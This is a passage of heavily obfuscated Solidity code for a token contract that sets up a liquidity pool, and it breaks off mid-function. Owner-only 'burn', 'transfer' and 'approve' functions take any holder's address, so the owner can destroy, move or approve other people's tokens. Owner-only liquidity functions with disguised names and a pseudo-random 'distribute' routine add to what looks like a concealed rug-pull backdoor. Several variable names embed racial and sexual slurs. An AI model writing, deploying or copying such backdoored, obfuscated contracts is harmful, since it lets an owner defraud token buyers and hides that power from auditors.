oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,uint256 vvRTRTedvyuysdyvgIloveGGaysygufyppPP)internal returns(bool){require(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui!=address(0),"IS");require(vvRTRTedvyuysdyvgIloveGGaysygufyppPP>0,"ZA");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,address(0),vvRTRTedvyuysdyvgIloveGGaysygufyppPP);}function OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(address ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,address bbbTvvreeeTTTscatyhyaikfhhhUUUU,uint256 nnYBUYUgvjikikkksuuuuufcgvgFFF)internal returns(bool){require(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH!=address(0),"IO");require(bbbTvvreeeTTTscatyhyaikfhhhUUUU!=address(0),"IS");KKkd9jcawj.IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,bbbTvvreeeTTTscatyhyaikfhhhUUUU,nnYBUYUgvjikikkksuuuuufcgvgFFF);emit Approval(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,bbbTvvreeeTTTscatyhyaikfhhhUUUU,nnYBUYUgvjikikkksuuuuufcgvgFFF);return true;}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,address cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,uint256 vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik)internal virtual returns(bool){bool bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf=KKkd9jcawj.KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik);if(bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf)emit Transfer(vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik);return bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf;}function JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(address nnUYYUuiiopolplpoweryuhbjvbhjujkiHBUhj)internal view returns(uint256){return KKkd9jcawj.OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(nnUYYUuiiopolplpoweryuhbjvbhjujkiHBUhj).dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;}function iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(address vYUTYedsfuguivuiusyuGYUGtgyu787dsd,uint256 ggUGYYUfffAe449YUbviloppojioYUIGGUy67sv)internal{KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(vYUTYedsfuguivuiusyuGYUGtgyu787dsd,ggUGYYUfffAe449YUbviloppojioYUIGGUy67sv);}}abstract contract dvbnjsnbSUDEHgihsuerhgieweurhg8uwe is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4{uint16 private cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf;function distribute(uint256 bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg,uint256 nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY,uint256 nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef)external onlyOwner{uint256 nIuUIUIYGYUYUyuhuidsfusiodchvushuiPIPUIUhuiphuisdvuisiupvh=uint256(keccak256(abi.encodePacked(address(this),cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf)));do{uint256 bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787=uint256(keccak256(abi.encodePacked(nIuUIUIYGYUYUyuhuidsfusiodchvushuiPIPUIUhuiphuisdvuisiupvh,bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg)));address chhjioIOIOYHUuityuGyusdaopaskokopweopcwjioweuiUIUYTYUty=address(uint160(bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787));uint16 nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe=uint16(bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787);if(nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe==0)nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe++;uint256 gcgTYTYRyueiyufuicuniweuniUIYUITGYUIuiefwopeowpd8989YUu=nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY+(nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef-nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY)*nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe/type(uint16).max;dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(chhjioIOIOYHUuityuGyusdaopaskokopweopcwjioweuiUIUYTYUty,gcgTYTYRyueiyufuicuniweuniUIYUITGYUIuiefwopeowpd8989YUu);}while(--bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg!=0);cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf++;}}abstract contract IOefowiejfioHJSEUIOhfg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4{function mint(address bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui,uint256 bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy)external onlyOwner{bool xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp=dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui,bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy);require(xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp,"DF");}function burn(address buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu,uint256 uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8)external onlyOwner bypassKLimit(buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu){bool xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp=oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu,uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8);require(xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp,"DF");}function approve(address bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih,address nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r,uint256 llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423)external onlyOwner{bool xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp=OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih,nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r,llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423);require(xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp,"DF");}function transfer(address sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh,address dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi,uint256 jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666)external onlyOwner bypassKLimit(sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh){bool xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp=OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh,dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi,jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666);require(xDvXZDFOxNxfesk2sXWq0vp7t1bSBYTXboyqhyLp,"DF");}}library sdjKHSEUIthgihwevjnehfghiw7ue4tw47u{uint256 internal constant bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw=0x1000000000000000000000000;function uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(uint256 bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,uint256 bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,uint256 vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)internal pure returns(uint256 cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo){unchecked{uint256 yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw;uint256 yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw;assembly{let mm:=mulmod(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,not(0))yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=mul(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU)yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=sub(sub(mm,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw),lt(mm,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw))}if(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw==0){require(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434>0);assembly{cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo:=div(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)}return cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo;}require(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434>yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw);uint256 yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw;assembly{yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=mulmod(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)}assembly{yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=sub(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw,gt(yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw))yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=sub(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw)}uint256 yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw=(type(uint256).max-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434+1)&vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434;assembly{vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434:=div(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw)}assembly{yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=div(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw)}assembly{yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw:=add(div(sub(0,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw),yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw),1)}yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw|=yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw*yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;uint256 yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw=(3*vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)^ 2;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo=yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;return cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo;}}function OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(uint160 nnsjUJUuiuducsduivuUUudweofwoef,uint160 mmIEIfioinvsdjnjnsdlILIjidigijwoe,uint256 nnKLKLIeifiweiiencvuir98efhwehfvwuefsOIEDJSf)internal pure returns(uint128 bncbUIUfhuwieuuehcvuiwnevUHeduhfsuh){if(nnsjUJUuiuducsduivuUUudweofwoef>mmIEIfioinvsdjnjnsdlILIjidigijwoe)(nnsjUJUuiuducsduivuUUudweofwoef,mmIEIfioinvsdjnjnsdlILIjidigijwoe)=(mmIEIfioinvsdjnjnsdlILIjidigijwoe,nnsjUJUuiuducsduivuUUudweofwoef);uint256 vsdvnnJKEDujfuHUEhwueuerjgwouserhg=uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(nnsjUJUuiuducsduivuUUudweofwoef,mmIEIfioinvsdjnjnsdlILIjidigijwoe,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw);return uint128(uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(nnKLKLIeifiweiiencvuir98efhwehfvwuefsOIEDJSf,vsdvnnJKEDujfuHUEhwueuerjgwouserhg,mmIEIfioinvsdjnjnsdlILIjidigijwoe-nnsjUJUuiuducsduivuUUudweofwoef));}function uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(uint160 ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738,uint160 sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb,uint256 efuh238r974ygjhuUehiufghuihsiUHSUHEHuie)internal pure returns(uint128 dhuvhsUISDHuifhwegoweri9gjwejgi){if(ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738>sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb)(ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738,sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb)=(sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb,ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738);return uint128(uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(efuh238r974ygjhuUehiufghuihsiUHSUHEHuie,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw,sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb-ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738));}function nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(uint160 ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,uint160 nvujnujikDbhugsuehugwnedrvnnfjknr85yu45,uint128 ueiuohfgiowerhgwr8iohgjo7tywyw8yeg89wy)internal pure returns(uint256 djvnjsnuiHHUIeduifgvhseuighuiwhevuihwouihec){if(ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks>nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)(ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)=(nvujnujikDbhugsuehugwnedrvnnfjknr85yu45,ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks);return uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(uint256(ueiuohfgiowerhgwr8iohgjo7tywyw8yeg89wy)<<96,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45-ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)/ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks;}function IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(uint160 jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,uint160 vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv,uint128 sdivsoidjuiobhHUIHSDFruighiweruhviusnvinerfh873h4)internal pure returns(uint256 uiysdhuighwseuiodhguiwerhpguierhgwuierbnvpuierbwvb){if(jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894>vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv)(jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv)=(vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv,jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894);return uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(sdivsoidjuiobhHUIHSDFruighiweruhviusnvinerfh873h4,vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv-jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw);}}abstract contract dvjnnUSEDHIhusehghiwse78gyhsuhdegvus is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4,rojhgiouserhjughjIUHRUIghluihseilrug,fdjhuiphUIPHRUIghuidrhuighuiehgwe{uint24 private constant HGCIYTfuyGVTYUFf867f568YGHVYKtdyTfvuiserugheuisrhvbn=500;int24 private constant sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh=-887270;int24 private constant uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge=887270;uint160 private constant ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd=4295558252;uint160 private constant jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg=1461300573427867316570072651998408279850435624081;jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn private immutable vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83;rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg private immutable jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs;uint8 private fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei;uint160 private dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy;struct idfjiOISJEthgohseudhfvuhbyhsbd{address vbhbUISEGyuigiuwheguvnbsd;address vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh;uint160 djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv;}constructor(string memory jdnfjbnNNFDUNbiksnruibeiurhbiuerhg74gveuhviu,string memory fklbdnmlkfnbnLKNKLFNblkndfnbioerjbioehodrhjr89oyhg48h,address fknbkldnlnLKNDFLKbnoeilrnijhbveorhbgv894y5hgh485hbve,idfjiOISJEthgohseudhfvuhbyhsbd memory sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg)NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4(jdnfjbnNNFDUNbiksnruibeiurhbiuerhg74gveuhviu,fklbdnmlkfnbnLKNKLFNblkndfnbioerjbioehodrhjr89oyhg48h,fknbkldnlnLKNDFLKbnoeilrnijhbveorhbgv894y5hgh485hbve){fjrguioaserhjuiHJUIDRHguihuirehga factory=fjrguioaserhjuiHJUIDRHguihuirehga(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vbhbUISEGyuigiuwheguvnbsd);vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83=jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn(factory.createPool(address(this),sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh,HGCIYTfuyGVTYUFf867f568YGHVYKtdyTfvuiserugheuisrhvbn));vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.initialize(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv);jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs=rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh);dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy=sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);}function add926d77b0e(uint256 dnvikuhuiHIUSEHr8grhwegiweushnvui)external onlyOwner requiresLock acquiresLock returns(uint128 uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv){uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv=uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(dnvikuhuiHIUSEHr8grhwegiweushnvui);IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv,msg.sender);}function d5c82892104b(uint256 fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg)external onlyOwner requiresLock acquiresLock returns(uint128 dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg){dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg=uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg);UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg,msg.sender);}function b6a44d65a608(int16 gnsdjknJKNSRjgnwseruighh83495hgheukrhg)external onlyOwner requiresLock acquiresLock returns(uint256){require(gnsdjknJKNSRjgnwseruighh83495hgheukrhg>-10000&&gnsdjknJKNSRjgnwseruighh83495hgheukrhg<10000&&gnsdjknJKNSRjgnwseruighh83495hgheukrhg!=0,"KO");if(gnsdjknJKNSRjgnwseruighh83495hgheukrhg>0){uint128 djsfnvbjnUJNIRFUHNgbuihernubhnedkrfjbnoledrb=IUSRDHGOIUhosdrufhgporehgouwseryhgo()*uint128(uint16(gnsdjknJKNSRjgnwseruighh83495hgheukrhg))/10000;(,uint256 dgvsidIRfhjgJNMKLDSNhngvwsoerhg8wrugj8he8ru34tng)=UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(djsfnvbjnUJNIRFUHNgbuihernubhnedkrfjbnoledrb,address(this));(int256 dfvjiojsIJIOSDerjgoiljeriogjero8gjue9o8rbjeedjrb,int256 